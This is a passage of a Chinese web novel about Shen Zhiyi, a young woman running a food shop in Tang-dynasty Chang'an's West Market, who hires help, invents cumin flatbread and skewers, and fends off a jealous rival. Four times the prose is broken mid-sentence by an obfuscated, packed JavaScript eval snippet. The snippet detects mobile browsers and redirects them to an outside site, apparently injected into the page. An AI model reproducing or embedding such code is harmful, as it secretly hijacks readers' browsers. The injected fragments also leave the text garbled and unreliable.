刘府的债务如同压在心头数年的一块巨石，一朝搬去，沈知意只觉得连呼吸都顺畅了许多。 食肆打烊后，她将那沉甸甸的象征着自由与解脱的字据，就着跳跃的油灯火苗，一寸寸点燃。 泛黄的纸张蜷曲、焦黑，最终化为灰烬，如同将那一段饱含屈辱与挣扎的过往彻底埋葬。 福伯在一旁看着，老泪纵横，不住地用袖子擦拭：“没了……终于没了……老爷在天之灵，可以安息了……六娘，咱们……咱们总算熬出头了！” 沈知意眼中亦含着泪，嘴角却扬起真切的笑意：“是啊，福伯，熬出头了。往后，咱们的日子会越来越好。” 她将苏晏清遣小童送来的那袋银子仔细收好，这笔钱是雪中送炭的恩情，必须尽快归还。 虽然苏晏清说“日后宽裕时归还即可”，但她不愿欠下这份人情太久。 债务虽清，但危机感并未远离。刘府钱管事离去时那阴鸷不甘的眼神，张胖子日益明显的嫉恨，还有那日莫名前来找茬的妇人……都提醒着她，在这西市立足，远非易事。 想要真正安稳，必须让自身变得更强大，更有底气。 扩大经营，已是迫在眉睫。 她手中如今能动用的，除了日常流水，便是这几日售卖“琥珀光”和贵人赏赐积攒下的约三贯余钱。 租下整间铺面或许不够，但若能说服房东，先付部分定金，将隔壁那间狭小、一直空置的杂物间租下，与现有食肆打通，便能多出些许空间，添置两三张桌椅，也能将灶台与用餐区稍稍分开，显得更为规整。 翌日，她便寻了机会，与房东商议。 房东是一位住在常乐坊靠收租为生的老吏员。 那老吏员见沈知意生意日渐红火，且竟能还清刘府债务，心中已对她高看几分，又听她言辞恳切，计划周详，略作沉吟便答应了。 以每月多加三百文的租金，将那间不足方丈的小隔间租予她，并允她自行修缮打通。 消息传开，左邻右舍纷纷前来道贺。 浆饮铺的阿婆送来一罐自家酿的甜浆，铁匠铺的张大叔拍着胸脯表示打通墙面的活计包在他身上，连往日里只是点头之交的杂货铺老板娘也送来了几张半旧的草席，说是铺地隔潮用。 市井坊间的乡邻之情在这一刻显得格外真实温暖。沈知意一一谢过，心中暖流淌过。 修缮之事并未大张旗鼓。 张大叔带着徒弟，选了午后食客稀少时，叮叮当当忙了两日，便将那面薄墙打通，又用黄泥抹平了墙面，虽简陋，却显得亮堂了不少。 沈知意将新空间仔细清扫干净，原先逼仄的灶台得以向外扩展，又添置了一张长条案板用于揉面备料。用餐区则勉强放下了两张新打的简陋木桌，四条长凳。 虽依旧狭小，但比起之前的捉襟见肘，已是天壤之别。 食肆终于有了些许“店”的模样。 乔迁“新”铺这日，沈知意并未大肆庆祝，只熬了一大锅香浓的骨头汤，下了许多切得薄薄的豚肉片和菘菜，请左右帮过忙的邻舍热热闹闹地吃了一顿“暖锅子”，气氛融洽欢快。 铺面扩大，客流增多，沈知意一人越发忙碌不堪。 兄长沈砚的身体虽日渐好转，已能下床缓行，帮忙看管钱匣记记流水账，但重活依旧指不上。 福伯年事已高，体力有限。 雇佣人手，已成了必须提上日程的事情。 这日午后，她正揉着发酸的手腕计算着今日的进项，浆饮铺的阿婆领着一位低着头、身形瘦小、穿着打补丁粗布衣裙的妇人走了进来。 “阿婆开口道，“六娘，这是住在我家后巷的邹娘子，男人前年跟队走西域没了音讯，撇下她和一个病恹恹的娃儿，日子艰难得很。她手脚勤快，人也老实，就是性子闷些。你看你这儿缺不缺个洗碗摘菜、打扫灶台的？给她口饭吃就成。” 那邹娘子始终低着头，双手紧张地绞着衣角，声音细若蚊蚋：“……小娘子……俺、俺啥都能干……工钱……给口吃的就成……” 沈知意打量着她。 妇人约莫三十上下年纪，面色蜡黄，身形单薄，但露出的手腕却显出力道，指甲缝虽有些污渍，却并非懒惰之人，只是被生活磨去了光彩。 她心中微酸，想起自己初来时的艰难。 “邹娘子若不嫌弃小店活计杂累，便留下试试吧。” 沈知意温声道，“每日主要负责洗碗、清扫、摘洗食材，管两餐饭，每月再给三百文工钱，如何？” 邹娘子猛地抬起头，眼中满是难以置信的惊喜，嘴唇哆嗦着就要跪下：“谢、谢谢小娘子！谢谢！俺一定好好干！一定！” 沈知意连忙扶住她。 三百文在西市雇工中算不得高，但管两餐饭，对邹娘子而言已是天大的恩情。 有了邹娘子帮忙，沈知意和福伯顿时轻松了不少。 邹娘子话不多，干活却极其麻利，灶台擦得锃亮，碗碟洗得飞快，摘菜也极其仔细。 她似乎格外珍惜这份活计，每日总是最早到，最晚走，沉默地将所有杂事打理得井井有条。 人手稍足，沈知意便有了更多精力琢磨新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405764|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品。 时已入冬，天气转寒，食客们更偏好热乎、扎实、能驱寒暖身的吃食。 这日清晨，天空飘起了细碎的雪花，长安城一夜白头。 沈知意望着窗外银装素裹的景象，心中一动。 她取来新磨的糯米粉和籼米粉，按特定比例混合，加入温水揉成光滑的面团。又将昨日煮烂的红豆沙加入少许猪油和饴糖，炒制成香甜油润的豆沙馅。 她将面团分成剂子，包入豆沙馅，收口搓圆，再用洗净的松针，在雪白的糕团表面轻轻按压出松叶般的纹路。最后，将做好的生胚放入铺了湿布的蒸笼里。 灶火升起，水汽氤氲。 不过一刻，浓郁的米香和豆香便混合着蒸汽弥漫开来。 蒸笼揭开的那一刻，福伯和邹娘子都围了过来。 只见笼屉里躺着一只只雪白滚圆的糕团，表面印着清晰的松针纹路，热气腾腾，宛如一个个小巧的雪球，可爱诱人。 “这是……” 福伯好奇地问。 “瑞雪丰年糕。” 沈知意笑着取过一个，吹了吹气，递给福伯。 “尝尝。” 福伯咬了一口，外皮软糯弹牙，内里豆沙馅温热香甜，流淌而出，在这初雪的早晨，吃上这么一口热乎甜糯的糕团，从胃里一直暖到心里。 “好！好吃！又暖和又香甜！” 福伯连连称赞。 邹娘子也小口尝了一个，蜡黄的脸上露出难得的笑意，低声道：“真好吃……” 沈知意将新做的“瑞雪丰年糕”摆上食案，定价五文两个。 热腾腾、甜糯糯的糕团立刻受到了食客的欢迎，尤其是那些一早出来赶工、冻得手脚发凉的苦力和小贩，更是买上两个揣在怀里，既能暖手又能果腹。 细雪纷飞中，重新扩整的沈记食肆里，蒸汽缭绕，糕香米香弥漫。 沈知意忙着招呼客人，福伯收着钱，邹娘子低头擦拭着桌椅，偶尔抬头看看窗外雪景，眼中也多了几分生气。 病愈不久的沈砚则坐在里间炉火旁，微笑着看着这一切。 小小的食肆，在这寒冷的冬日里竟透出几分前所未有的兴旺与暖意。 沈知意并未被这短暂的安稳迷惑。她清楚西市的生存法则从未改变。对面的张记蒸饼铺今日未曾开张，门板紧闭，不知在酝酿什么。 尽快攒钱，归还苏晏清的借款，是压在她心头的一件要紧事。 她看着窗外越下越大的雪，心中默默盘算。 这“瑞雪丰年糕”或许能成为一个新的开始。 16. 第 16 章 初雪过后，长安城彻底入了冬。 寒风凛冽，呵气成霜，西市街道上的行人裹紧了冬衣，步履匆匆。 沈记食肆里却暖意融融。 新砌的灶台火力更旺，大锅里终日熬着香气扑鼻的骨头浓汤，蒸汽氤氲，将不大的店面熏得暖烘烘的。 “瑞雪丰年糕”成了冬日里的新宠，每日供不应求。 邹娘子的到来让沈知意和福伯轻松了不少，店面虽扩大了些，但在三人的操持下，反而显得更加井井有条。 沈砚的身体一日好过一日，面色渐渐有了红润，已能帮着照看炉火，或是坐在门口阳光好些的地方，慢慢剥着蒜头、摘着青菜。看着妹妹忙碌却充满生气的背影，他眼中常含着欣慰与愧疚交织的复杂情绪，但更多的是对未来的期盼。 生意稳步向好，每日进项除去开销已能攒下不少。 沈知意盘算着，再有些时日便能凑足银两归还苏晏清的借款了。 这让她心中踏实了许多。 这日清晨，沈知意照例去西市深处采买食材。 冬日菜蔬种类减少，价格也上涨不少，她仔细比对挑选着，心中默默计算着成本。 行至胡商聚集的区域，一股浓烈奇异的香料气味扑面而来，间或夹杂着皮毛、药材等物的气息。 她目光扫过那些高鼻深目、穿着斑斓胡服的商贩，以及他们摊位上琳琅满目的异域货品，心中微动。 唐代长安胡风盛行，胡食亦颇受欢迎。 她的食肆如今虽以中原风味为主，但若能适当引入一些胡地元素，或许能吸引更多好奇的食客。 她在一個售卖香料的胡商摊前停下。 那胡商见有客来，操着生硬的官话热情招呼：“小娘子，看看！上好的安息茴香、波斯莳萝、天竺胡椒……还有这，新到的‘马芹’，烤肉炖汤，香得很！” 沈知意仔细辨认着那些色泽、形状各异的香料。 她认得小茴香和胡椒，价格不菲。 那被称为“马芹”的孜然，颗粒饱满，散发着一种独特而霸道的香气，令她印象深刻。 前世里，孜然可是烧烤和许多西北面食的灵魂。 她斟酌片刻，买了一些相对便宜的小茴香和一小包马芹，又挑了几颗肉豆蔻和一小段肉桂，打算回去试试能否融入现有的菜式增添风味。 回到食肆，她将新买的香料收好，便开始忙活午市的准备。 和面、熬汤、准备臊子……冬日里，那碗热腾腾、香辣开胃的豚肉臊子面依旧是食客们的最爱。 午后，食客稍稀，沈知意取出那包马芹，在干净的铁锅内用小火慢慢焙炒。 随着温度升高，一股极其浓郁、带着异域风情的辛香瞬间爆发开来，霸道地弥漫在整个食肆，甚至飘到了街面上。 “咦？这是什么香味？从未闻过！” 一个刚吃完面、正捧着面汤暖手的行商吸着鼻子，好奇地望向后厨。 邻桌几位工匠也被这奇香吸引，议论纷纷：“像是胡人烤肉时用的香料？” “比那个更香！闻着就暖和！” 福伯和邹娘子也好奇地凑过来。 沈知意将焙香的孜然粒倒入石臼，小心研磨成粗粉。 那香气愈发浓烈诱人。 她看着手中这捧金黄色的孜然粉，又看看案板上昨日熬油剩下的一小碗雪白的猪板油渣，心中忽然冒出一个念头。 她取来一些白面，加入少许盐和温水，快速揉成一个偏软的面团，盖上湿布醒发。 又将那猪油渣细细剁碎，加入适量的孜然粉和一点点盐，搅拌均匀，做成油酥馅料。 面团醒好，擀开，均匀地抹上一层油酥馅，卷起，揪成剂子，再将每个剂子擀成圆饼状。 新砌的炙炉火候正好。 她将饼胚贴入炉壁，高温迅速将饼皮烤得鼓起，表面渐渐泛起焦黄。 不同于胡麻饼的焦香，一种混合了动物油脂的丰腴和孜然特殊辛香的、极其粗犷而诱人的香气，伴随着“滋滋”的轻响，汹涌而出，瞬间盖过了店内所有其他的味道。 这香气仿佛带有魔力，立刻将街上好几个路人的脚步死死钉住。 就连斜对面一直紧闭门板的张记蒸饼铺，那门板也悄悄隙开一条缝，似乎有人在暗中窥探。 “小娘子！这、这又是什么新鲜物事？香得人也太勾魂了！” 那行商忍不住跑到灶台边，眼巴巴地看着炉子里渐渐烤得金黄酥脆的饼。 沈知意用铁钳夹出一个，只见那饼外表焦黄，鼓胀如球，表面油光点点，孜然香气扑鼻。 她将饼一切两半，内部层次分明，油酥馅料融化浸润，热气腾腾。 “新试的‘胡麻髓饼’，五文一个，客官可要尝尝？”她笑道。 她并未用“孜然”之名，而是借用了唐人更易接受的“胡麻”二字，并以其香气酷似骨髓油润之感，临时起了这个名字。 “尝！必须尝！” 那行商迫不及待地接过半个饼，也顾不得烫，咬了一大口。 “咔嚓”一声脆响，饼皮极酥。 内里却是软韧咸香，油渣的酥脆、油脂的润泽与孜然那股霸道独特的辛香完美融合，形成一种极其过瘾、令人食欲大开的浓郁滋味，在这寒冷冬日里，显得格外慰藉肠胃。 “唔！好吃！香！真他娘的香！”行商烫得直吸冷气，却舍不得停下，含糊不清地大赞，“这味儿够劲！比胡麻饼够味！再来两个！” 其他食客见状，也纷纷围上来。 “给我也来一个！” “某要两个！带回去给娃儿尝尝！” 一炉十来个“胡麻髓饼”，不过片刻便被抢购一空。 后来者只能闻着空气中残留的诱人香气，扼腕叹息。 沈知意心中暗喜。这孜然的味道果然极具冲击力，极易吸引食客。 成本却不高，猪油渣本是下脚料，孜然虽稀罕，但用量极少。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405765|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 五文一个的价格，利润颇为可观。 她立刻让福伯再去那胡商处，将剩下的马芹尽数买了回来，又让邹娘子将平日熬油剩下的油渣都仔细收集起来。 自此，“胡麻髓饼”便成了沈记食肆冬日里的又一招牌。 那独特的异域香气成了活招牌，每日都有食客慕名而来，生意愈发红火。 这日傍晚，打烊之后，沈知意正在清算一日进项，忽闻店外传来一阵略显生硬、却颇为有礼的询问声：“请问，店主沈小娘子可在？” 沈知意抬头，只见店门口站着一位男子，身形高大，穿着件半旧的翻领胡服，却洗得干净，面容深刻，高鼻薄唇，眼眸是罕见的浅褐色，正是那日暗巷中出手相助的神秘青年。 他此刻未着劲装，神色也平和许多，手中提着一个小布袋。 沈知意连忙起身相迎：“恩公？快请进！” 她心中诧异，连忙让邹娘子倒来热茶。 青年迈步进来，目光在整洁了不少的食肆内扫过，最后落在沈知意身上，微微颔首：“不必称恩公，举手之劳。我叫艾山。” 他汉语说得有些慢，却字正腔圆。 “艾山大哥。”沈知意从善如流，请他坐下，“那日多谢你出手相助，一直未曾好好道谢。今日前来，可是有事？” 艾山将手中那个小布袋放在桌上，推了过来：“听闻小娘子店中近日新制的面饼，用了马芹之香。我那里恰有一些品质更好的，来自更西边的故乡，香气更醇厚，或许……你能用得上。” 沈知意微微一怔，打开布袋，只见里面的孜然粒果然比她买到的更为饱满，色泽更深，香气也似乎更为浓郁持久。 她惊讶地看向艾山：“这……艾山大哥也是行商？” 艾山摇摇头，浅褐色的眼眸中闪过一丝复杂之色：“不完全是。家中……曾是香料商人。如今……做些零散活计。” 他语气略显含糊，似乎不愿多提自身来历，“这马芹于我无用，小娘子手艺好，能用它做出美味，便是它的造化。” 沈知意心中感激，知道这绝非“无用”之物，而是对方有意相助。 她连忙道：“这太珍贵了！我不能白要，按市价……” “不必。”艾山打断她，语气坚定，“若小娘子觉得过意不去，日后我再来吃饼时，多给一个便是。” 他嘴角似乎极轻微地向上弯了一下，旋即又恢复平淡。 沈知意见状也不再推辞，郑重道：“如此，便多谢艾山大哥。日后但有所需，知意定当尽力。” 艾山点点头，并未多留，喝了一口热茶，便起身告辞，身影很快消失在冬日傍晚的寒雾之中。 沈知意捧着那袋品质上乘的孜然，心中暖流涌动。 这长安城中，虽有刘家、张胖子那般小人，却也有苏录事、艾山这般仗义相助之人。 她将孜然仔细收好，看着窗外渐浓的夜色，对未来的路更多了几分信心与暖意。 17. 第 17 章 西市的冬日，因“胡麻髓饼”那霸道独特的香气，沈记食肆的生意愈发红火。 艾山送来的上好孜然，让饼的风味更上一层楼，每日出炉便被抢购一空，连带其他吃食也卖得更快。 沈知意心中感念，却苦于不知如何回报。 艾山自那日后便未再现身，仿佛那日送香料只是偶然兴起。 她只得将这份人情默默记下，更加用心经营。 这日午后，雪后初霁，阳光难得明媚。 沈知意正与邹娘子一同清洗积攒的碗碟，忽闻店外传来一阵清脆悦耳的铃铛声，伴随着略显生硬却活泼泼的官话：“沈家小娘子在否？” 沈知意抬头望去，只见店门口站着一位胡人少女，约莫十五六岁年纪，肤色雪白，鼻梁高挺，一双碧眼如同琉璃灵动剔透。 她穿着一身火红的翻领胡服，腰间系着银链，缀满小铃，行动间叮当作响。 头发梳成无数细辫，以彩绳缠绕，显得娇俏又野性。 少女身后还跟着个抱着大陶罐的胡人仆役。 这少女沈知意有些印象，似乎是西市深处那家颇有名气的“胡姬酒肆”店主康老汉的独女，名叫阿努，性子泼辣爽利，常帮着父亲招呼客人，西市不少人都认得她。 “阿努小娘子？”沈知意擦干手，迎上前，有些诧异，“快请进。可是有事？” 阿努却不进来，只站在门口，一双碧眼好奇地打量着沈记食肆，鼻子用力嗅了嗅，笑道：“果然好香！我阿塔说你家新做的髓饼香得很，把我们酒肆门口的客人都勾跑了！” 沈知意心中一紧，以为对方是来找茬的，连忙道：“小娘子说笑了，不过是些粗浅吃食，怎敢与贵店的葡萄美酒相比……” “哎呀，不是怪你！” 阿努摆摆手，笑声如银铃。 “做生意嘛，各凭本事！我阿塔还说，能做出这么香饼的小娘子，定是个妙人，让我来瞧瞧，顺便……” 她指了指仆役抱着的陶罐，“送你们一罐新酿的‘三勒浆’，甜甜的，不醉人，配你的饼吃正好！” 沈知意愕然。 三勒浆乃是波斯传来的名酒，以庵摩勒、毗梨勒、诃梨勒三种果子酿成，口感酸甜，价值不菲。 这康老汉非但不怪她抢生意，反而派女儿送来厚礼？ 阿努见她愣怔，索性自己走进来，凑到灶台边好奇张望：“你那饼是怎么做的？怎地如此香？用了什么我们不知道的香料吗？我阿塔琢磨了好久都没琢磨出来！” 见她一派天真烂漫，毫无心机，沈知意这才放下心来，笑道：“多谢康掌柜厚赠，实在愧不敢当。若是不嫌弃，请阿努小娘子带几个刚出炉的髓饼回去尝尝？” “好呀好呀！”阿努拍手笑道，毫不客气，“我正馋呢！” 她眼珠一转，又凑近些，压低声音道，“其实我阿塔让我来，还有件事想问问小娘子。” “小娘子请讲。” “你家这饼这般香，白日里卖得好，可到了晚间，西市冷了，就没得吃了。” 阿努眨着碧眼，“我家的酒肆晚间正热闹，缺些顶饿又香口的吃食下酒。你……愿不愿意每日供些饼子到我们店里卖？价钱好商量！” 沈知意心中一动，这倒是个极好的主意。 胡姬酒肆晚间生意极好，客人多为豪爽的胡商、侠客、文人，消费力强，若她的“胡麻髓饼”能打入那里，不仅多了一条稳定销路，更能提升知名度，价格也可适当提高。且酒肆与食肆营业时间错开，并不冲突。 她略一思忖，便应承下来：“康掌柜和阿努小娘子如此抬爱，知意感激不尽。只是这饼需趁热吃才香，若离了炙炉，久了便皮软，风味大减。” 阿努显然早有打算，“这个容易！你家离我们酒肆不算远，我让仆役每隔半个时辰来取一趟刚出炉的，立刻送回店里，保准热乎！你看如何？” “如此甚好！”沈知意喜道，“那便说定了。今日便开始？” “好！就这么说定了！” 阿努欢喜，当即让仆役放下酒罐，拿了沈知意包好的十几个热饼，风风火火地告辞离去，铃声叮当，渐行渐远。 福伯和邹娘子在一旁看得目瞪口呆。 福伯喃喃道：“这……这胡人小娘子，性子可真爽利……” 沈知意笑着摇头，心中却十分畅快。 这真是瞌睡遇到了枕头。 她打开那罐三勒浆，一股酸甜馥郁的果酒香气扑面而来，尝了一小口，果然醇厚甘美。 自此，沈记食肆与胡姬酒肆便有了往来。 每日傍晚，酒肆的仆役便会准时前来，取走两到三炉新烤的“胡麻髓饼”。 沈知意特意将饼做得略小些，更便于下酒，价格定为八文一个，比店内稍贵，酒肆那边再加价售卖，双方皆大欢喜。 这桩合作带来的好处立竿见影。 不仅每日多了数百文的稳定进项，更有些在酒肆尝过髓饼的客人，白日里特意寻到沈记食肆来吃面喝汤，带动了整体生意。 这日，阿努又亲自跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405766|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来，却不是为取饼，而是拉着沈知意，叽叽喳喳地说酒肆的客人吃了髓饼后赞不绝口，尤其是一位常来的波斯老商人，说这味道让他想起了故乡的烤羊肉。 “小娘子，”阿努碧眼发亮，“你既能用那香料的法子做饼，可能用它来做肉？我阿塔说，若能做出那般香的肉来下酒，生意定能更好！” 用孜然烤肉？这倒是提醒了沈知意。 唐代已有炙烤各种肉食的习惯，但多用盐、胡椒、茱萸等调味，若加入孜然，风味必定更佳。 她当下便让福伯去肉铺买来一条新鲜的羊腿，剔下肥瘦相间的肉，切成小块，用葱姜汁、盐、少许胡荽籽粉和大量的孜然粉腌制起来。 傍晚，她借了阿努带来的小炙炉，就在食肆门口，将腌好的羊肉块串在铁钎上置于炭火上炙烤。 不一会儿，那浓郁的、带着狂野气息的孜然烤肉香便猛烈地散发开来，比烤饼时更加直接、更加诱人，勾得整条街的人都伸长了脖子。 羊肉烤得外焦里嫩，滋滋冒油，撒上最后一把孜然粉，香气达到顶峰。 阿努迫不及待地尝了一串，烫得直吐舌头，却含糊不清地大叫：“好吃！香！太香了！就是这个味儿！” 沈知意自己也尝了，孜然与羊肉果然是绝配，风味十足。 她将烤好的肉串分给周围眼巴巴看着的邻舍，人人称奇。 “这烤肉法子好！”阿努兴奋道，“小娘子，这烤肉的法子也教给我们吧！或者……你每日也供些烤好的肉串？价钱好说！” 沈知意却摇了摇头。 烤肉耗时费力，且需要专人看管火候，她目前人手不足，难以兼顾。 但她心思一转，笑道：“烤肉怕是忙不过来。不过，我或许可将这腌肉烤肉的香料配好，制成‘香料包’，阿努小娘子带回酒肆，让厨子自己烤制，岂不更方便？” 阿努一听，更是欢喜：“这个法子更好！如此独特的香料，定能成为我们酒肆的独门招牌！小娘子，你真是颗七窍玲珑心！” 两人当即说定，沈知意每日为酒提供一定数量的特制孜然香料包，按包收费。 又是一笔不小的进项。 然而沈记食肆门口这突如其来的炙肉浓香，以及沈知意与胡姬酒肆越发密切的往来，终于彻底刺痛了某些人的神经。 斜对面，张记蒸饼铺那紧闭了好几日的门板，“哐当”一声，被人从里面狠狠踹开。 张胖子阴沉着脸，带着两个一脸横肉的帮闲，大步流星地朝着沈记食肆走了过来。 18. 第 18 章 张胖子踹开店门，领着两个凶神恶煞的帮闲气势汹汹地穿过街道，径直堵在了沈记食肆门口。 那刚被孜然烤肉香气吸引来的几位食客，见状纷纷后退，面露惊疑。 “沈小娘子！” 张胖子叉着腰，腆着肚子，声音粗嘎，带着毫不掩饰的恶意。 “生意做得挺红火啊？又是饼又是肉的，香飘半条街，把我们这些老街坊的活路都堵死了！” 福伯脸色发白，下意识想上前理论，被沈知意伸手拦住。 她放下手中的活计，净了净手，走到门口，目光平静地看着张胖子：“张掌柜，此话从何说起？西市做生意，各凭本事。你家蒸饼若做得好，客人自然上门，何来堵死活路一说？” “放屁！” 张胖子啐了一口，指着沈知意鼻子骂道。 “少给老子装糊涂！你那饼里加了什么邪门香料？还有这肉，闻着就古怪！定是用了什么不干净的东西，才勾得人五迷三道的！不然凭什么卖这么贵，还有这么多人买？” 他身后的帮闲也跟着起哄：“就是！肯定有问题！” “说不定用了西域来的迷魂药呢！” 这话极其恶毒，直指食品安全，乃是商家大忌。 周围看热闹的人顿时议论纷纷，看向沈记食肆的眼神也带上了几分怀疑和审视。 浆饮铺的阿婆气得拄着拐杖出来：“张胖子！你少血口喷人！六娘的吃食干净得很！我看你就是眼红！” 张胖子冷笑：“我眼红？我张记在西市开了十几年，童叟无欺！她一个外来户，才几天？就弄出这么多花样？不是邪门歪道是什么？我看就该报官！让市署的人来查查！看她这香料到底是什么鬼东西！” 他显然是有备而来，故意将事情往“西域邪药”上引，煽动不明真相者的恐惧。 几个原本想买饼的客人闻言，也犹豫着放下了铜钱。 沈知意心中怒火翻腾，却知此刻绝不能慌乱。 她深吸一口气，声音清亮，压过嘈杂：“张掌柜，你说我用料不干净，可有证据？我这‘胡麻髓饼’所用香料，名为‘马芹’，乃是西域胡商处正经购得，西市多有售卖，并非什么稀罕物，更非邪药！你若不信，大可去胡商区打听！至于价格，用料实在，工艺繁琐，自然价高，明码标价，何来欺诈？” 她顿了顿，目光扫过围观人群，朗声道：“诸位高邻皆可作证，我沈记开张以来，所用食材皆新鲜干净，每日采买皆有账目可查！若张掌柜空口白牙便要污人清白，我沈知意虽是一介女流，却也绝不任人欺凌！报官便报官，正好请官爷来查个明白，还我清白！” 她语气铿锵，毫不退缩，反倒让张胖子噎了一下。 他本意是吓唬搅局，若真报官，查无实据，他反而落个诬告的罪名。 “你……你少狡辩！” 张胖子有些底气不足，却仍强撑着。 “就算香料没问题，你日日这般喧闹，油烟熏天，搅得四邻不安，也是不该！还有，” 他话锋一转，指向正在角落里默默洗碗的邹娘子。 “这妇人是谁？来历可明？莫不是你私藏了什么逃奴逃犯？若是惹来官司，可别连累了我们整条街！” 邹娘子被他指得浑身一颤，脸色煞白，手里的碗“哐当”一声掉进盆里，溅起一片水花。 她猛地低下头，肩膀微微发抖，不敢言语。 沈知意心中一惊，这张胖子竟连邹娘子的存在都摸清了，还以此攻讦，心思可谓歹毒。 她正欲开口维护，忽闻一个清脆泼辣的声音自人群外响起。 “哟！我当是谁在这里学狗叫呢！原来是张胖子你啊！” 只见阿努一身火红胡服，领着两个酒肆的胡人仆役，挤开人群走了进来。 她碧眼圆瞪，指着张胖子就骂：“自己蒸饼做得像石头，没人买，就跑来欺负沈小娘子？你还要不要脸！什么邪门香料？那马芹我们胡人用了上百年了！你自己孤陋寡闻，就别出来丢人现眼！” 她转头又对众人道：“诸位！沈小娘子的髓饼和香料，我们‘胡姬酒肆’日日都用！康老汉和我阿努拿人头担保，干干净净，香得很！比某些人那硌牙的蒸饼强一百倍！” 阿努在西市是熟面孔，她家酒肆名气也大，她这一番连珠炮似的抢白，顿时让张胖子哑口无言，脸色青一阵白一阵。 周围人见胡姬酒肆都力挺沈记，疑虑顿消，反而觉得张胖子无理取闹。 “就是！张胖子你也忒不地道！” “自己没本事，就眼红别人！” “快回去吧！别在这儿丢人了！” 舆论瞬间反转。张胖子见势不妙，狠狠瞪了沈知意和阿努一眼，撂下一句“你们等着！”，便带着帮闲灰溜溜地挤开人群跑了。 一场风波，暂时平息。 沈知意松了口气，连忙向阿努道谢：“多谢阿努小娘子仗义执言。” 阿努摆摆手，浑不在意：“小事！我最看不惯这种欺软怕硬的小人！” 她好奇地凑到邹娘子身边，歪着头看她，“这位娘子，你别怕，张胖子就是条乱吠的狗！你叫什么名字？手艺真好，这碗洗得锃亮！” 邹娘子受宠若惊，连忙起身行礼，声音细弱：“奴、奴家邹氏，多谢小娘子……” 阿努性格开朗，很快便和邹娘子说上话，还嚷着要尝尝新烤的肉串。 沈知意看着这一幕，心中温暖，却也无法完全放下担忧。 张胖子今日虽退，但那怨毒的眼神表明他绝不会善罢甘休。 他提及邹娘子，更像是一种威胁和警告。 必须更快地站稳脚跟，拥有更多不被轻易动摇的资本。 几日後，一位常来买饼的老主顾，似是某位官员家的采办，闲聊时提及家中老夫人即将过寿，但因年事已高，牙口不好又畏油腻，寻常寿桃寿面皆不喜，正为此发愁。 说者无心，听者有意。 沈知意心中一动。 若能接下这等高门寿宴的点心活儿，不仅报酬丰厚，更是扬名立万的绝好机会。 但献给老人的寿点，需格外精致、软糯、寓意吉祥，且不能甜腻油腻。 她苦思冥想，忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405767|184455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记起前世一种名为“水晶糕”的甜点。 其以糯米粉、澄粉为主，口感Q弹清爽，馅料可甜可咸，造型亦可百变。 她立刻尝试起来。取上好糯米粉与澄粉混合，加入滚烫的开水烫熟，快速揉搓成光滑细腻的面团。 又将红枣、去芯莲子蒸熟碾泥，加入少许蜂蜜和熟猪油，炒制成香甜油润的枣泥莲蓉馅。 取一小块面团，包入馅料，收口搓圆，再用洗净的雕花木模，压出寿桃、蝙蝠、如意等吉祥纹样。 最后放入铺了湿布的蒸笼，大火急蒸片刻。 蒸笼揭开时，福伯、邹娘子甚至一旁休息的沈砚都围了过来。 只见笼屉中躺着一只只半透明、晶莹剔透、隐约透出内里馅料颜色的糕团，表面印着清晰的吉祥花纹，宛如一件件精美的玉雕，散发着糯米特有的清香和枣泥的甜香。 “这……这是点心？” 福伯惊得瞪大了眼。 沈知意取过一个寿桃状的，递给沈砚。 “阿兄尝尝，可能咬动？” 沈砚小心地咬了一小口，只觉那糕皮软糯弹牙，毫不粘牙，内里枣泥莲蓉温热香甜，入口即化，丝毫不腻。 “好吃……软和，香甜，又不费牙……”他连声称赞。 沈知意心中大喜，又做了几样，分别放入食盒，让福伯设法送到那位采办老主顾家中，只言是小店新试的“水晶龙凤糕”，请老夫人尝个新鲜，万勿推辞。 